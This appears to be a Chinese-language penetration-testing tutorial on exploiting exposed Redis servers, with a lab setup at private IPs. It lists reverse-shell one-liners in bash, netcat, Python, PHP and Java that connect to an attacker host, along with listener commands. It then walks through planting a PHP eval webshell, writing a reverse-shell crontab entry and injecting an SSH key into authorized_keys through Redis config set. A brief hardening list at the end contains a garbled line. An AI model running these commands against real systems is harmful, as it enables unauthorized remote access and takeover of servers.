目錄
Redis
Redis持久化
動態修改配置
使用反彈連接的情況
常見監聽端口的方式
常見建立反彈連接的方式
流程
Linux crontab
cron文件存儲路徑
利用Redis實現攻擊
1.webshell提權案例
2.定時任務shell反彈案例
3.SSH Key getshell案例
?編輯Redis其他利用方式
Redis加固
Redis
1.數據類型豐富,應用場景廣泛
2.純內存的數據結構,讀寫速度快
3.功能特性豐富(持久化、事務、pipeline、多語言支持、集群分布式)
Redis持久化
RDB Redis DataBase (默認)
AOF Append Only File
配置:
1.save 3600 1 #自動觸發規則
2.dbfilename dump.rdb #文件名
3.dir ./ #存儲路徑
手動觸發保存命令:save / bgsave
動態修改配置
config set:動態修改配置,重啟以后失效
config set dir /var/www/html
config set dbfilename redis.php
使用反彈連接的情況
1.內網,私有IP
2.IP動態變化
3.6379端口不允許入方向
4.一句話木馬被殺軟刪除
常見監聽端口的方式
類型 | 命令 |
netcat | nc -lvnp 8888 |
msf | msfconsole use exploit/multi/handler set payload php/meterpreter/reverse_tcp set lhost 192.168.6.131 set lport 8888 run |
socat | ?socat TCP-LISTEN:8888 - (kali) |
常見建立反彈連接的方式
類型 | 命令 |
Linux?bash | bash -i >& /dev/tcp/192.168.6.131/8888 0>&1 |
netcat | nc -e /bin/bash 192.168.6.131 8888 |
Python | python - c " import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.142.44',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']); |
PHP | php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.6.131 8888");' php -r '$sock=fsockopen("192.168.6.131",8888);exec("/bin/bash -i<&3 >&3 2>&3");' |
Java | r=Runtime.getRuntime() p= r.(["/bin/bash","-c",exec 5<>/dev/tcp/192.168.6.131/8888;cat<&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() |
... | ... |
bash反彈連接?
bash -i >& /dev/tcp/192.168.6.131/8888 0>&1
打開一個交互式的bash終端
與遠程機器建立一個socket連接
將標準錯誤輸出合并到標準輸出中
將標準輸入重定向到標準輸出中
防火墻CentOS
systemctl status firewalld
systemctl start firewalld
firewall-cmd --zone=public --add-port=7777/tcp -- permanent
firewall-cmd --reload
systemctl stop firewalld?
流程
1.監聽端口
2.執行命令,或者上傳payload訪問,建立連接
上傳
1.文件上傳漏洞
2.寫入文件:MySQL、Redis、CMS
3.文本編輯命令:tee(vulnhub-breach)、test.py(vulnhub-DC9)
執行
訪問或者定時任務自動觸發?
Linux crontab
命令 | 操作 |
crontab -u root -r | 刪除某個用戶的任務 |
crontab -u root time.cron | 把文件添加到某個用戶的任務 |
crontab -u root -l | 列舉某個用戶的任務 |
crontab -u root -e | 編輯某個用戶的任務 |
cron文件存儲路徑
路徑 | 內容 |
/var/spool/cron | 這個文件負責安排由系統管理員制定的維護系統以及其他任務的crontab |
/etc/crontab | 放的是對應周期的任務dalily、hourly 、monthly、weekly |
利用Redis實現攻擊
1.webshell提權案例
server:192.168.6.66
client:192.168.6.131
client:寫入一句話木馬
set h "<?php @eval($_POST[cmd]); ?>"
?server:利用蟻劍連接
2.定時任務shell反彈案例
client: 在定時任務里寫入反彈shell
?set m "\n* * * * * bash -i >& /dev/tcp/192.168.6.131/8888 0>&1\n"
?server:查看定時任務
?client:反彈成功
3.SSH Key getshell案例
SSH key免密登錄
1.客戶端生成密鑰對(公鑰、私鑰)
2.客戶端把公鑰發給服務端保存(正常情況需要密碼)
3.客戶端用私鑰加密消息,發給服務端
4.服務端用公鑰解密,解密成功,說明密鑰匹配
5.客戶端免密登錄成功“你之前保存了我的公鑰,所以可以解密我的消息,所以認得我”
redis利用SSH Key提權流程
控制機連接到Redis
向$HOME/.ssh/authorized_keys寫入公鑰
ssh -i ./id_rsa user@IP 使用私鑰免密登錄
執行后續操作
前提:server有.ssh
?client:生成密鑰
?ssh-keygen
set mmm "\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9KGMsE6w9Ocjp2q3u0kqCSSrG6IwtP2/w92knpb+PRV8XXNQSAtIi/zMefBh0XLyMOoZ+6zBU7jz6Xfzsa9f6KtAegDtEGHAv/9iFsklMs8WnM2q0CJ8xw4wZztCAl5Aiy06iWcb10pJBNCcWhm5NGe8ZjSaIaLLNYLKqN3I2WxWB8hYHtBCU4fdoEc/eXKGhG6lip0WNV9tTgb0NI352wl7QcbjGK0+cl1inryb7TXkftoxgLXgMq7o4SSchCpNPvlESfKJ6C9BXC09Z/4Tu/fHLZ6pFXj6jfZfX0TKMsaiW6XFhvYtQUDWZc23zhCBXecpJzNfYosXDONnGpNWf root@localhost.localdomain\n\n\n"
server:
?client利用私鑰登錄
ssh -i ./id_rsa root@192.168.6.66
Redis其他利用方式
基于主從復制的RCE(Remote Code Execution)
jackson 反序列化利用
lua RCE
Redis密碼爆破
Redis加固
1.限制訪問IP
2.修改默認端口
3.使用密碼St訪ruct問ured Query Language
4.不要用root運行Redis